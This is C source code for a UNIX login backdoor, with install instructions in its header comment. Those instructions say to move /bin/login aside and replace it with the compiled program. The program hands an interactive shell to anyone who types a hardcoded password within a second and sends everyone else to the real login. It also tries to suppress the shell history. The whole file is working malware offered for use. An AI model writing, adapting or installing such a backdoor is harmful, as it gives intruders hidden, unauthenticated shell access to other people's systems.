/* 
 * [ vulcan ]
 * vulcan@galactica.it
 * tnx to ElectronicSoulS
 *
 * very simple UNIX Deamon Backdoor
 * It work with FTP, TELNET, SSH, HTTPD, POP and more deamons
 * Explain :
 * copy the original (ex /bin/login to /bin/login2) 
 * then compile this file and just copy to the original
 * Ex : cp /bin/login /bin/login2 ---> define the ORIGINAL /bin/login2
 * gcc vulback.c -o vulcback, cp -rf vulcback /bin/login ---> define BACKDOOR
 * after this telnet HOST PORT (Ex 23) and digit the PASS (Ex vu) in max 2 second
 * fuck the world!
 *
*/

#include<signal.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>

#define ORIGINAL "/bin/login2"  /*original */ 
#define BACKDOOR "/bin/login"   /* here compiled file */
#define PASS "vu"  /* one second to digit it, enjoy ;P */

char **execute;
char passwd[5];


int main(int argc, char *argv[]) {

void connection();

signal(SIGALRM,connection);

  alarm(1);
    execute=argv;
    *execute=BACKDOOR;

  scanf("%s",passwd);

if(strcmp(passwd,PASS)==0) {
  alarm(0);

  printf("[ *** Warriors 2001 *** ] \n");
  
  execl("/bin/sh","/bin/sh","-i",0);
  execl("unset", "HISTFILE",0);
  execv("id",execute);

exit(0);
}
else
{
  execv(ORIGINAL,execute);  
  exit(0);
}

}
void connection()
{
  execv(ORIGINAL,execute);
  exit(0);
}